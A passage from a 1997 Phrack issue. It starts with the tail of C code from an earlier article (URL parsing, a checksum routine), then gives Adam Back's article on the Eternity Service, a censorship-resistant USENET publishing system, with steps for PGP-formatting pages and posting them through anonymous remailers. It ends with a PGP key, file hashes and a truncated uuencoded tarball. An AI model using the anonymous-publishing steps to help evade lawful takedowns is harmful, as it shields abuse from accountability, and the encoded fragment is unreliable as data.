    strncpy(ftp->pass, s, 255);
  }
  else { /* Username ONLY given */
    printf("Assuming %s is a username, and using the default password: %s\n",
           p, ftp->pass);
    strncpy(ftp->user, p, 63);
  }
}
else /* no username or password given */
  if ((s = strchr(url, ':'))) { /* portno is given */
    *(s++) = '\0';
    strncpy(ftp->server_name, url, MAXHOSTNAMELEN);
    ftp->port = atoi(s);
  }
  else  /* default case, no username, password, or portnumber */
    strncpy(ftp->server_name, url, MAXHOSTNAMELEN);

ftp->user[63] = ftp->pass[255] = ftp->server_name[MAXHOSTNAMELEN] = 0;

return 1;
}



/*
 *      I'll bet you've never seen this function before (yeah right)!
 *      standard swiped checksum routine.
 */
unsigned short in_cksum(unsigned short *ptr,int nbytes) {

register long           sum;            /* assumes long == 32 bits */
u_short                 oddbyte;
register u_short        answer;         /* assumes u_short == 16 bits */

/*
 * Our algorithm is simple, using a 32-bit accumulator (sum),
 * we add sequential 16-bit words to it, and at the end, fold back
 * all the carry bits from the top 16 bits into the lower 16 bits.
 */

sum = 0;
while (nbytes > 1)  {
sum += *ptr++;
nbytes -= 2;
}

/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0;            /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
sum += oddbyte;
}

/*
 * Add back carry outs from top 16 bits to low 16 bits.
 */

sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
sum += (sum >> 16);                     /* add carry */
answer = ~sum;          /* ones-complement, then truncate to 16 bits */
return(answer);
}
<-->


----[  EOF
```

---[Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 12 of 17

-------------------------[The Eternity Service

--------[Adam Back <aba@dcs.exe.ac.uk>

Information wants to be Free

Information wants to be free. Censorship sucks. Having your account yanked because some censorious idiot doesn't like you discussing hacking tips and tricks in USENET sucks. Being tortured to death by some totalitarian country's military police for speaking the truth about government corruption sucks even more.

Have friends who have been hounded by the Feds, SPA software police, or system admins who believe in security by obscurity? Had nasty threats made by censorious system admins for helpfully drawing their attention to flaws in their systems security? Ever had a control freak try to get your web pages censored because they don't like its content, or simply because they get their kicks harassing people? Ever wanted to publish something on the 'Net but felt intimidated by censors?

Do you consider that free speech is your right as guaranteed by the first amendment of the US constitution, and do you therefore also consider it your right to speak anonymously? There are lots of reasons to protect the ability to speak anonymously. Anonymous speech is required for truly free speech. Strongly anonymous free speech is the freest speech of all. If you're going to preserve your ability to speak anonymously, and protect your right to free speech you might as well do it properly...

Want to do something to help free speech? Want to piss off the 'Net censors? Want to piss off censorious Governments? Read on...

What is the Eternity Service?

The Eternity Service is a distributed data-haven, it takes a different approach to ensuring unpopular content can be published. Traditionally unpopular content has been surreptitiously exchanged via DCCs in IRC, or PGP encrypted email, or FSP, or in funny named directories via FTP or via agreed file names in incoming directories set drwx-wx-wx. Other kinds of unpopular content have been published on web pages for a short time until the censor gets to work and threatens the ISP, the publisher's employee, and the publisher with law suits. Sometimes these web pages get mirrored, if there is someone interested, and spoiling for a fight, or if the content is only censored by force of law in one jurisdiction.

The Eternity Service deals with censorship more directly: it confronts the problem in a more general way with the aim that anyone should be able to publish anything anonymously in a convenient persistent, uncensorable data-haven.

So in a nut-shell that is the design goal of the eternity service, to allow anyone to publish material which others would like to censor. For convenience the publishing medium addressed is the World Wide Web.

Systems for publishing anonymously in USENET news and email already exist: cypherpunks type I and type II (mixmaster) remailers.

Why the name 'Eternity Service'?

There is a cryptographic paper by Ross Anderson called "The Eternity Service", which is where the idea for this implementation came from. I rather liked Ross's name for his conceptual service, and instead of thinking up some other name I just "borrowed" his name. Readers might find his paper interesting, it's on the web in htmlized form at:

    http://www.cl.cam.ac.uk/users/rja14/eternity/eternity.html

Ross's design is quite ambitious, so I simplified his design in developing the software included with this article.

My implementation shares Ross's main design goal, which is to create a censorship-proof, long-term document store, but its design has been made much simpler and less ambitious initially to make it easier to implement. The main simplification is that I built the design on top of an existing hard-to-censor distributed distribution channel: 'alt' USENET newsgroups. This design is described in the next sections.

The motivation for providing a simplified version was to have something people could use practically, today. Another reason is that by releasing this design, and it's implementation, it allows you, the reader, to play with it, and to contribute to it, improve it in a piecewise fashion in the good tradition of free software on the 'Net. The design calls for many eternity servers to be in existence to make it hard to censor.

At time of writing a mailing list exists for discussion on using and improving the eternity service. Instructions on how to subscribe the eternity mailing list are given at the bottom of this article.

USENET and distributed systems
==

The Internet was built to survive nuclear attack. It would survive such an attack because it is a distributed system. Distributed systems are hard to break, and therefore, hard to censor. USENET, particularly the 'alt' newsgroups offer the most amazing chaotic discussion areas. The articles which are posted often contain materials which would be considered illegal in many jurisdictions. And yet USENET lives, and 'alt' USENET newsgroups thrive. Extremely well funded attackers have tried to remove individual 'alt' USENET groups, and to censor posts in alt USENET groups. They have all failed.

The reason that USENET is hard to attack is because it is a distributed system. The network of news feeds has some redundancy. USENET articles enter the news distribution network from anywhere in the network. If a censor in one country succeeds in persuading a news site to censor its feed and not carry particular alt groups, it doesn't affect the overall system that much. There are lots of other nodes carrying the groups, disgruntled users will switch ISPs, and disgruntled down-feed sites will switch feeds. The system routes *around* censorship. There are just so many USENET admins with individual opinions, and commercial interests in carrying groups users want to read, that USENET can not die.

It occurred to me in trying to design a simplified eternity service, that it would be useful to borrow some of Usenet's indestructible nature. USENET is part of the landscape; it's here to stay. If we build a new distributed distribution system from scratch, to start with there won't be many nodes. The censor will have any easy time censoring a few nodes, he'll just go and harass each of them in turn.

With USENET on the other hand, it has been around for so long, and is carried at so many sites that it would be a huge task for a censor to even have a significant affect on USENET.

So, the design of my eternity server aims to allow operators to point the finger at USENET and say: "that's where the content is coming from, if you want to censor anything go attack USENET".

My eternity server design is a service designed to blur the differences between USENET news and the Web. It provides an interface which makes a stream of encrypted USENET news articles look like WWW pages with a persistent

URL. As the default disclaimer for eternity servers says:

> Note to censors: Eternity servers are specialized search engines for reading web documents from USENET news. The pages you request are actually USENET news posts which the server is searching for, reformatting and forwarding to you. The administrator of this server has no control over the content of USENET news, and will not be held responsible for any documents you instruct this server to forward for you.

Eternity Server design

Once you accept the idea that it would be nice to borrow, or build upon some of USENET news's strength as a uncensorable distribution mechanism, the next issue is achieving this, technically. The main differences between USENET news articles and WWW pages is that USENET is transient, the articles expire in newsgroups, and that USENET articles have no persistent globally addressable locator. USENET is not as convenient as the Web; there are no hypertext links between articles, and there are no inline images.

Eternity service articles are WWW pages specially formatted and posted to USENET news. The eternity server reads news and translates Web page requests into GROUP and ARTICLE commands to an NNTP news server (or file system accesses to a local news spool). (The default list of newsgroups to read consists of one group: alt.anonymous.messages).

Web pages are often updated, as one of the interesting aspects of the WWW as a publishing medium is that it allows people to maintain up-to-date information. This maintains interest and keeps people coming back to an interesting site to see what else the author has collected, or what other related pages have been added. A sense of community can be built up with others submitting interesting links, corrections, and tips to the author.

To provide the possibility of updating web pages with the eternity server, the eternity formatting convention allows submitted web pages to be signed with PGP. This ensures that no one else can replace your pages with other pages. Being able to replace your page with a blank page would allow a censor to temporarily censor you. (Only temporary because you could always replace the blank page with the real document again).

With a PGP signature this is prevented... and the system becomes such that eternity virtual domains are very much first-come first-served.

First-come first-served naming

Eternity URLs are all under the non-existent Top Level Domain (TLD) "eternity". (Other TLDs being .com, .org, .edu, .ai, etc) Eternity URLs are therefore of the form:

```
http://*eternity/*
```

Where * represents any string of characters.

On the Internet domain names must be resolved to IP addresses via Domain Name Servers (DNS). The owner of the TLD you desire a domain name in charges you for registering a domain. Internic (who currently has a hotly contested monopoly on TLDs .com, .org, and .net), charge $100 for the first 2 years, and $50 for each year thereafter.

Eternity domains don't exist in this sense. There is no root domain server for eternity. You don't need to buy eternity URLs from anyone. Nobody _can_ own an eternity URL in the normal sense.

The first person to submit a document with a URL:

```
http://bluebox.eternity/
```

gets it. If that person signed the submitted document with PGP, no one will be able to take over that URL. If that person signed the submitted page with PGP and threw away the key, it would be uncensorable for all time. They couldn't even remove the document themselves if they wanted to. Throwing away the key might be a good idea if the publisher isn't publishing anonymously and expects reprisals.

The fact that one user has submitted a signed web page for http://bluebox.eternity/ doesn't stop BlackBeard from putting up his design at:

    http://bluebox.eternity/blackbeard/

That is to say ownership of any given URL, even the top level URL of a virtual domain, doesn't give any control over who could submit documents in that virtual domain. Of course you don't have to link to their pages. But those pages will show in a directory search of your virtual site.

Directory searches

Submitted eternity news articles can set options controlling whether or not the document is listed in the index. The choice is either "exdirectory" (the default) or "directory". This is useful because if you created the URL for http://bluebox.eternity/, you might like to include some inline images, or diagrams, or a series of other pages hypertext linked from that page. So you would set option "directory" for the main page http://bluebox.eternity/, and set all the inline images and smaller pages linked from it to "exdirectory", as a convention to save the directory becoming cluttered up with junk.

You can also use "exdirectory" if you don't want to generally advertise your page. Note this is not all that secure if you access your page via a public access eternity server, as the server operator could modify the server to record all exdirectory URLs.

You can request a listing of all eternity pages at an eternity server by filling in the form with virtual URL containing a wild-card:

    http://*

(Exdirectory documents will not be listed.)

You can also include an option to give a small description (a maximum of 60 characters) which will be listed beside your virtual URL when someone does such a search.

You can narrow the search to just list all root eternity documents with:

    http://*/

Which will find:

    http://eternity/
    http://bluebox.eternity/

but not:

    http://test.eternity/example1/

You can also do:

    http://bluebox.eternity/*

which will find:

    http://bluebox.eternity/
    http://bluebox.eternity/blackbeard/

You can combine *s to find what you want. Advanced searches are possible:

```
    http://*box*.eternity/*blue*
```

and so on.

Eternity materials are likely to be targets for censors, and it is possible that they might try to censor the directory listing itself. Even the URL could suffer. (Did you know that Internic turned down some guy who wanted to register 'fuck.com'?) I'm sure someone creative could up with something to upset a censor in the 60 characters allocated for URL descriptions too.

For these reasons the eternity server operator has the option to disable directory service. With this option disabled looking up URLs with wild-cards (*s) in them will get back a notice explaining that directory listings service has not been turned on at this server.

Servers with directory service turned off make less useful servers, so it is hoped that most eternity server operators don't have to do this. However, an eternity server with directory service turned off still works normally for accessing known URLs, and you could maintain the directory listing yourself, or use a directory listing at another site.

Formatting Eternity documents

Eternity documents submitted as USENET news articles are formatted with PGP. There are three of reasons to format messages in USENET to make them not immediately readable.

1) It prevents censors from working out which articles correspond to which eternity web pages. Depending on the options chosen this can degrade to just obfuscation. Obfuscation alone however can be useful as censors are often not particularly clue-full.

2) PGP includes compression, so the articles are much smaller.

3) If used with highest security options amongst a group of people who follow security guidelines it means that a censor will have no way to translate the articles back into WWW pages, or even of obtaining the URL.

To demonstrate the formatting requirements for eternity page submissions, we'll work with an example page, http://bluebox.eternity/.

You'll need an implementation of SHA1 for this. There is a C implementation, and also a perl implementation in the eternity server distribution. Some systems may already have /usr/local/bin/sha1.

(Note: below "echo -n" is used -- on Suns the built-in echo doesn't handle the -n flag properly -- you'll have to use /usr/ucb/echo instead)

0) Generate a Nom de Plume

If you are planning to sign your document, you probably won't want to sign it with your normal key, so you'll generate a new keypair for the purpose, this will be your pseudonym, or Nom de Plume for the purposes of publishing this document. The "-u fred" tells pgp to use that user id. See pgp documentation for how to generate keys (use pgp -kg).

Once you've generated your key, extract it to a file with:

```
    % pgp -kxa fred fred
```

where 'fred' is your new user name. It will save the key as "fred.asc". We'll use this file below.

1) Sign the document

We create a normal web page such as you might put on your home page. You can view the page with Netscape (or other browser) by opening it as a file URL: file:/home/fred/bluebox/index.html to check that it looks OK, and that any inline images line up correctly etc.

You can use relative, site relative, and absolute URLs normally in eternity documents. You can also use absolute URLs pointing at other sites in the normal way.

To submit index.html as http://bluebox.eternity/ we first use PGP to ASCII armor the document. If we want to sign it at the same time as ASCII armoring it, so that we can update it later, we can do:

```
    % pgp -sa index.html -u fred
```

There is another option to encrypt as well as sign and armor, which will be discussed more below, to do this do:

```
    % pgp -csa index.html -u fred
```

If we don't want to sign it, we do this instead:

```
    % pgp -a index.html
```

In either case after this operation PGP will create file "index.asc" for us. Rename index.asc to something else, say "index" (Another legal combination would be to encrypt and not sign with -ca).

2) Set the options

If you signed the document, you need to include the key. Insert the keyfile (fred.asc extracted in step 0 above) into the document "index". Order is not significant. Then the ASCII armored document (pgp munged html or gif file produced in stage 1), the keyfile "fred.asc", and the flags described below can be jumbled up in order.

You now have several flags you can include to control how your URL will be cached, how it will be displayed in indexes etc.

The flags are:

```
    URL: http://bluebox.eternity/
```

The flag URL: sets what the eternity virtual URL will be. It must have .eternity as the virtual TLD.

```
    Cache: yes
    Cache: encrypted
    Cache: no
```

Cache settings, choose one of those. These cache settings override the used eternity server's settings if doing so will increase security. "yes" and "no" are obvious. "encrypted" means that the document will be cached but it will be encrypted in the cache in such a way that the URL is required to decrypt it. If the document is exdirectory this means that the server won't know the URL.

```
    Options: directory
    Options: exdirectory
```

Choose one of those options. This flag controls whether the URL will be listed in the URL index. "directory" means it will be listed, "exdirectory" means it will not be listed. If you give neither option the document defaults to exdirectory.

```
    Description: Freds blue box page
```

This is the description that will appear in directory listings. If the document is exdirectory there is no point giving a description.

So the file "index" is likely to look something like this once you've finished editing it:

```
    URL: http://bluebox.eternity/
    Cache: yes
    Options: directory
    Description: Freds blue box page

    -----BEGIN PGP PUBLIC KEY-----
    ...
    -----END PGP PUBLIC KEY-----

    -----BEGIN PGP MESSAGE-----
    ...
    -----BEGIN PGP MESSAGE-----
```

Where ... indicates the rest of the ASCII armored key or message will be displayed. Some of these parts can be omitted as shown above. When you are submitting an web page update you can omit anything you're not trying to change. (That can be everything, so your updated document has nothing but the new message part). However this is not necessarily a good idea because it will not make sense to an eternity server that has not seen the first document, for example if your first document doesn't make it via USENET to one site.

3) Package the document "index" ready for posting

You have a couple of choices here.

Method A (most common):

Either you can encrypt with PGP -c:

```
    % pgp -c -z"eternity" index
```

Method B:

Or you can encrypt with the SHA1 of the URL with 1 prefixed,

```
    % echo -n 1http://bluebox.eternity/ | sha1
    dab1a32aba30b4e3a9594da143c33d2ba9b00a38
    % pgp -c -z"dab1a32aba30b4e3a9594da143c33d2ba9b00a38" index
```

Most normal eternity URLs which you're expecting to be indexed on the directory services of public access eternity servers should be encrypted with the first simpler method.

There's not that much point encrypting with the second method unless your document is going to be exdirectory, because once the document gets in the URL everyone will know the URL anyway. It might take a censor a little longer to figure out.

If you were planning to only access the document via private, or local eternity servers, you can reveal the URL only to those you wish to have access. However this might not be that secure because people may be able to guess your URL if it is something common as above.

Method C:

For this reason you have a third option, which is to encrypt at the same time as signing and ASCII armoring as described in step 1. You can combine that option with above method B (pgp -c with sha1 of 1<URL>) to conceal the URL.

Or alternately you can expose the URL by using method 1 above (pgp -c -z"eternity"), but have the document encrypted in step 1. (This would allow you to have a directory entry, but the page not accessible without knowing the password chosen in step 1 when encrypting.

The result of the last pgp -c operation for any of method A, B, or C will be file "index.asc".

4) Post the article anonymously

The subject field of the article should always be the SHA1 hash of the URL:

```
    % echo -n http://bluebox.eternity/ | sha1
    2e730bcd62dbc63aaedde56c06625abeeb38dd92
```

Now post the article to USENET news (by default eternity servers read only newsgroup alt.anonymous.messages with release 0.10).

You can test your eternity submissions work by installing an eternity server on localhost. If you get stuck you could ask for assistance on the eternity mailing list (instructions on subscribing are at the bottom of this article).

To post anonymously you'll need to post via anonymous remailers. Some remailers can post to USENET directly, for other remailers you have to post via a mail2news gateway.

Instructions on using remailers, and windows and Unix clients to automate the process of using remailers can be found here:

    http://www.stack.nl/~galactus/remailers/

You can find a list of mail2news gateways here:

    http://www.replay.com/mail2news/

People are already working on a nice easy to use CGI interface to eternity servers over on the eternity list while I'm typing, so perhaps when you read this you won't need to know the above information in such detail.

Caching

With WWW technology, caching is often used to speed up accesses. There are a number of caches in effect with a typical web browsing session. The Netscape browser for instance has both a memory cache, and a disk cache, which are configurable in size. In addition Netscape can be set up to use a proxy cache, which is a special caching service. Users of a proxy cache send their web requests through it. The proxy cache checks each request to see if it has it in the cache, if it does, it can deliver it back if quickly. If it doesn't it will go and fetch whatever URL you are asking for and remember it for next time. A proxy cache would normally be used by a group of web users, perhaps a university campus, or an ISPs customers, or a companies employees.

Caches traditionally have some protection from censors -- it's an automated process after all -- your average ISP hardly wants to be responsible for the contents of the disk on its proxy cache machine.

For performance reasons the eternity server also has a cache. The cache behavior is configurable. The server operator can set his caching preferences when he installs the server by editing eternity.conf. Possible settings are "on", "off" and "encrypted". Setting cache to "off" is safest, then you have no eternity documents on your disk. The "encrypted" cache option means that cached documents are encrypted with PGP -c and the SHA1 hash of a 1 prepended to the URL. If the server also turns off directory service, and does no logging this provides reasonable deniability of knowledge of contents of documents in the cache. Even with directory service on, it provides cache set to "encrypted" provides protection in that the server operator will not know the URLs of exdirectory web pages.

Further work

There are a few unimplemented features that could use some work. These features are being discussed on the eternity mailing list (see instructions for subscribing below).

A first immediate problem is that the eternity server has no cache replacement policy. Your eternity cache will just keep growing. This is great for ensuring articles with caching turned on don't disappear due to expiring in the news spool, but as eternity grows more popular it will become impossible for each single eternity server to hold the full document store.

The solution to this problem is quite complex, and is the subject of the next implementation effort on the mailing list. One interim solution is to use the USENET searching facilities of services which archive USENET such as www.dejanews.com and www.altavista.digital.com.

There are several tweaks that would have to be done to be able to use USENET archivers as sources of eternity documents. Two main problems have to be combated: 1) the archives make attempts not to archive 7-bit encoded binaries to save space, 2) you can't search by 40 character hex numbers to find subject fields. These are both easy to overcome, but the overall solution is not that attractive because the archivers will be a single point of failure. Censors will attack them, and they may be hostile to eternity servers due to our bypassing their 7-bit encoding filters and consuming space on their soon to be multiple TB raid file servers.

A better solution is to build a distributed data store that allows eternity servers to exchange documents with each other in such a way that the eternity servers together form a virtual raid file-server where the documents are spread randomly and redundantly over the nodes.

A simple starting point to allow this is to create a second long-term cache area, and to have a cache replacement policy for that area which selects a random document for discarding. This cache replacement policy will ensure that statistically some servers will have a given document. Next we have to design a scalable method of forwarding requests to other servers to ask for old USENET articles by URL hash (subject field).

World-FS

Another approach to improving the eternity server is to actually use and develop the full set of techniques described in Ross Anderson's paper to build a distributed file system (DFS). I dub this direction 'world-FS' because the aim is to build a worldwide distributed, redundant, uncensorable, and virtual file system. This file system would be designed to withstand a nuclear war, and to easily withstand the best efforts of one government to censor material in it. A world-FS done well could easily replace the current pattern of web page hosting.

The world-FS would have different interfaces, or drivers, to allow it to be accessed as an NFS file system, or as a distributed web based eternity service. The eternity server described in this document would then be superseded, and become the HTTP driver interface for world-FS. An FTP, or NNTP (USENET news) interface could also be built for the world-FS, or for parts of it's directory tree. People discussing this so far have thought that you would need to include ability to pay for service with an anonymous payment system (or with multiple payment systems).

The eternity mailing list is also for discussion of world-FS, as it all falls under the umbrella of Ross Anderson's concept of an 'eternity service'.

Comments and collaboration requested

Your contribution matters. Progress of the eternity service beyond this point relies on a collaborative effort.

You can collaborate by doing any of the following and reporting back to the eternity mailing list how you got on (subscription instructions below):

- submitting documents to the eternity document store
- installing an public access eternity server in your account
- or persuading your ISP to install one
- or installing a private eternity server in your account
- finding and reporting bugs to the mailing list
- contributing code
- contributing ideas for more efficient distributed request protocols

Adam Back

More information

Eternity mailing list

    send message "subscribe eternity" to majordomo@internexus.net

The eternity mailing list is for eternity service users, eternity server operators, and eternity server developers to discuss issues to do with eternity. Issues include censorship attempts, operator liability, practical attacks on the security, and discussion of new protocols, and discussion amongst developers and users on the best way to design the next versions.

Cypherpunks mailing list

Cypherpunks write code. Cypherpunks are the people who bought you type I and type II remailers, remailer clients, plus many, many other crypto applications. Governments are scared of the implications of distributed systems and freedom to use cryptographic code. Cypherpunks are crypto-anarchists, and they shall inherit the earth. Information is power, and cypherpunks are applied cryptographers with attitude. They don't care if governments don't like their code, in fact they probably view it as a compliment. You'd be surprised at how many cryptographers, net journalists, cryptographic consultants, small ISP owners, and Netizens are crypto-anarchists at heart. Netizens never were very keen on government intrusions into the 'Net. Read Tim May's Cyphernomicon for a mega-faq on cypherpunks, and crypto-anarchy. See:

    http://www.cc.oberlin.edu/~brchkind/cyphernomicon/

To subscribe to cypherpunks:

```
    send message "subscribe cypherpunks" to majordomo@cyberpass.net
or  send message "subscribe cypherpunks" to majordomo@algebra.com
or  send message "subscribe cypherpunks" to majordomo@ssz.com
```

(Some time ago there was an attempt to impose moderation on the cypherpunks list, and this is the reason for this rather curious situation of multiple mailing lists, it is designed to be more resilient to censorship -- if someone pulls the plug on one list -- the rest continue without glitch.)

Cypherpunks is a high volume mailing list. There is no moderator,

Software

    http://www.dcs.ex.ac.uk/~aba/eternity/

Please set a server up a public access eternity serve in your account. You can also operate your own eternity server for your own use -- this is the more secure way to browse eternity. If you have any kind of dial up or internet connected Unix system you can do this.

You'll need a web account with cgi capability, access to perl5, and read access to an NNTP news server, or a local news spool. Cron access is useful but not essential.

Current Public Access Eternity Servers

    http://www.replay.com/aba/eternity/

```
    http://moloko.insync.net/eternity/
    http://eternity.internexus.net/
    http://eternity.infinetways.net/
```

Contacting the author

aba@dcs.ex.ac.uk
or A.Back@ex.ac.uk
or aba@replay.com

PGP encrypted mail preferred, here's my key:

```
Type Bits/KeyID    Date       User ID
pub  2048/28B24551 1995/09/09 Adam Back <aba@dcs.ex.ac.uk> (High Security)
           Key fingerprint = 01 8F 04 06 5C DD F3 33  D8 84 C4 63 85 BA 50 E8
```

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQENAzBRMbMAAAEIANoe/ABNaJv6/ETtDzlih4P3znc63CMP4ViFWStxyeWWjxd2
L8WOsM0b1naV4YmeRrd34GUsnZFetItToVqsvT5tKcwJKHwEWeXEQMbCM3cbaAxB
+MGSx9PoLRc4ZLz79q/hMQXybNKmw5Rk7NwsyLiejZR+jt2Eoy/BHeFMunxfXD8j
38927FZBxG3UgCbL75ImJhWVsn8IoDOJ5psTfJwRcAZlkxsrpDSx2OIb6G35+pwm
mEv8O066wOij7eMTQ8VQ5+rbn2ql0Ubsz3qA2szP2KZYlmobjwj5M82dmLcPfG9C
bExMBldd8poJyBCn0e04kAFiGBJJPnvKqCiyRVEABRG0LEFkYW0gQmFjayA8YWJh
QGRjcy5leC5hYy51az4gKEhpZ2ggU2VjdXJpdHkpiQCVAgUQMli+7B98EdWB2LS9
AQFF0gQAjiAOPPCs7s0VCHoFI2IWMEcAeQInmnl2p+6rpsvIxjX1v3wBqqstgBu5
aCLY9Uns+iKjzcnt5DTj6NPhJ8EOlefwgHUssiBLTsw7tOvT9fQwcIXOE5ikGP7j
RObTq3a2Vtz4/O/YgN0KQnWcqTDuadeP17cJ2bbaWJpZiGDyWGSJAJUDBRAyIN+r
RlGJMStI9vUBAXJTA/4wzbGnP9X0luqRYcfj51bamX9WdTDG9A8AvKngTbMG87x2
jV6vUicIP9XMERSl6fgT35Q2BYSCKGlhH5gGYkC+IfkyMZFHvZMdATurb4MuRivW
pv30gTVstoF61CN3JKF1N/j1Ez2LOfFWFW+miceowAPrKr3e3zHCRXyewv75BIkB
FQMFEDBW0M+xVzBJFqEkZQEBBQEH/AnpNhKJh1IPmii7X7xxmccMKFnq5R2DAP4Z
+OJQ/otoy6AXifI9Y5aDYnm7sbPZX9uBk93ubf4Zm/v9wOcOKL6hXcE4+tvGSQA+
rAPgph1+t96iDTSTGwf5ZKVp+LfJXBz63wZHDJ+JlSTDRl9YeSxeRZgAo2XJtI/h
v7fazds4CK0jFwDSWUtQUd7my9znsJ92W0UONe6iltnFUvywUICNGyXxCHV4RDPv
/wTmDKarzHm44OfdzXhI+oTQvY3lG51gU6TMjR6Q/bjy9YEYpTcDRvOpMmkJ4aud
tCxG/w82OG6lKnFw8Hv46VcpQVPt2YZMbgjUJBIQi6FedDjeky6JAJUDBRAwUUqY
Kci4nVVqSmcBAaFJA/wJ0vcYZm8V7gqlk+nDzjIDvGNP1IaQtBFaXE/imyQaqyKe
oIsyzhCWCNnsCvu8Cq2ZwmD63wBKzs+63ZgzJ7h1hC4lYKUB1mCsF0UnrZNJ7rtW
DVMa0aLlvxIia7qsmbhaZ6ibs5+juqn3CKUvjCJKyOpuS0Lmrem5EXk9Byu5/IkB
FQMFEDBRSjc+e8qoKLJFUQEBWjEH/3yb3JYhsjoqZdEjA1xSZJcjyoTnPG0vUhaD
oi6OhTByqYShLe14RU9rYDzpOGmdwpZ6GSwF4X0uBAH1lCGnsi6QQXrnsp1fBq/6
+TQy1nBs2FZyj/YTXQIKhhXIH700ed0Nqg4okwtovyUqX0xbqlA2Sv1N+XC6hKuc
bl9XWOQbKi8OM8VEKeLnrY9Glzrxk9piVb+eCT1RJnLovWdfPL7WFOwSbOQ/I9aB
jBKBHYMGdLihf7PYeb3Eg3B8Kt3IDfipPUFfXjqes94hpqQl/DGpWSpDHHFQ5cTB
iQIB4twFzz4bI1HMVEayKboPliJl3dI9vY0SQJ58b6OFYJTB4Jc=
=E4rO
-----END PGP PUBLIC KEY BLOCK-----
```

Here are SHA1 hashes of the eternity service distribution

```
<++> hashes.asc
-----BEGIN PGP SIGNED MESSAGE-----

eb32d19e992e4663df29141cedf6ec0aa3f92af3 pgp/config.txt
7b1da1bd199b2dded10216a3d19e4b05bbb66c90 eternity.conf
a44cec86d7d0f1cf1239f1c00bb21dc3476148b4 sha1.pl.dist
1f9f7860c8c2d5b376c8bffa7417ffe54b8b1429 newsgroups
926a9630fd214b756ecc18658d813017b288bf2c sha1/sha1.c
58989aa6f40b06136d078a96ad958b482756fe8f sha1/endian.c
2d46e74b805ee06d3960ff756a09407f0b3267fa sha1/sha1.h
21e7e596a715c6ed247f9444393df675d7447f23 sha1/endian.h
5f9c194f542960c8e7f9f6d81f84cd3b62dd4032 sha1/sha1file.c
4544f194e381a3b64150f3761900993d28c5f465 sha1/sha1test.c
ea58eec253cdb4af6d3958d94cebfbe39988da44 sha1/timer.c
22a60ac9aa0242ad6ee00da8781500c5c1311837 sha1/timer.h
67d37d81d0064c2a0a1a369cba2cfc2f9d878803 sha1/types.h
f7691ef67ac7a111082c6730b045ea2dc00dd903 sha1/compiling
```

```
01a7b85827ff35583bd11cecb7470c4917fdd0ea sha1/README
efc53ecc93eb1105341f4e250ecf654a44a11394 sha1/Makefile
5375b154bd0724dc0c6ee6fac59bbc5c93a6a209 adam-key.asc
0b9849c2332e5d7aa7714adc67861465d99b34db mime.types
b50a661ba69747c8969ebfb9c997eaf0f1b75893 README
d498a12d0a795d3ae22bc059631293b0a0ab4cd1 ANNOUNCE
ba8ccee1f86dc5872b5ce95c0e2e494924b927f8 configure
6f9bcf72be9f836f5201bc430cc764828fda68ba news/alt/anonymous/messages/1
ac26faf5df1e14eaefa6e0e05f5be2d2f1ee67db news/alt/anonymous/messages/2
75ead2fb83bf3fa2c701b70741097f4956fb9043 news/alt/anonymous/messages/3
4c892147c69fcfb60803587c5606427d1641d473 ecat
fa3b13f3e8241936795d97f72fe647f0a4a26902 CHANGELOG
31cc2c663972f536922f3603625804a42b40c367 UTILS
08120e964cb8b61f2c95ac155a3f75ce8b27535b dcrypt
0fded38fd70c8626551e7bb21657cd960c2b8f67 sitegrab.dist
7121ab8cd3e54bc962524054c95316b28d8c76e4 dev/submit
56a1cb622bf8df7f863e8449a97ef8746a0d2469 dev/submit.html
f1b6720b0861b1d79fbedcfa4cc694b1172c81a1 SITEGRAB
428d389aa228d9e96c678d4400179df1ab5db0a3 fred.asc
3ed6458862762fa993a900ec1b5dc8e2c739f61c eternity.gif
5ea784f32dc51d74ae98134adcd93126230d5a0f rsa.gif
2c62082f57ca8c0019f741d04f5f14133976bb15 cypherpunks.gif
3d7f09b91b04577dc4406eb9493753dc1e3ba7d2 datahaven.gif
8016173f3db9fccd0b787c9682e7b7bec1ada3b8 index.html.dist
108e0ef9d29387e3cf57b68614a4e8b2961c2d02 disclaimer.html
7ca4684965a7b4d51ad032f85c20480f0cd175fe eternity.cgi.dist
08b072350488abc3ac6337ce95d7cf881e1f547b directory.html.dist
769d9620c85de07a3ce6703a39b56eafdd3cad9d host.html
24f17a65a4a637d60c5cbaab485eda231adb62c6 dbmcat.dist
584d76031069f89fef3288cdbb6bed6e89ec7fd6 ecrypt.dist
122584c63267811628cc790ef898e9d651cdc728 LIST

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM/L+RT57yqgoskVRAQHpdAgAjbGfqr4FaycrS/LOHq4TnAQIBoTYx+6k
cG9DTnUMp/gQSXqwBzvSv1bmou/+nwvH/qC5UgXc7Ko98rT8+tAatfrZj3u1g36M
a63oWtonLFJowOO8w1jBiPSpl44kT25hPYZ2qUscVC1qGzbSmutHhDyToY4y4i7L
v2TARR4Jq3dJI67WT63dxr1/o+AnTtNZBTq5c9z5LzfQWVfP9HRaOgYXF6d4LrVZ
7NF3YKImEe5914L45CUW+OjJcsabGufFVj4waR0kNhdmA7ZQT3cxkg5Ygv6jhtcn
q7Ys67hMAYU0TGrxvyogEy23FyzXC5wi1JY2NBYnE+AuJXObDGB85w==
=Xfz4
-----END PGP SIGNATURE-----
<-->

<++> es.tgz.uue
```

```
begin 600 eternity-0.10.tgz
M'XL("/^L^3,``V5T97)N:71Y+3`N,3`N=&%R`.P\^W?:1K/]U?P56Z+&8`-&
MXN$'QO&[\<WSQ&G=>YJ$;Y$64"TD73UL\R7NWWYG9E="`FRW/=2]]WQ6C@-:
MS<S.>V97:XM(!*X=3:KUFE[?^.YON5BSOEFOL^\88VVC39]ZLTF?ZJK#D\9F
ML]5NM38WX2D\;GS'6G\/._DK#B,>,/;=]?7U`W`B"!^#H<>]1,[^_M#_&WS@
MS]A_LX7V-XR&_F3_Q[CF[6]Z[L`>UJ*;:%ESZ/5Z^S[[Z_46V;]1;[6:FP8^
M-39;W['ZLABX[_H/MS\/QE[@V*X(69?5"U<BZ'NAH.^F-_8=\(^PYPIA"8L&
MQSP8VBYW<H/_M!!/UU^^\O%O<G,DEEX!_G#^;T*:V&Q@_F^V-Y_R_V-<>?LG
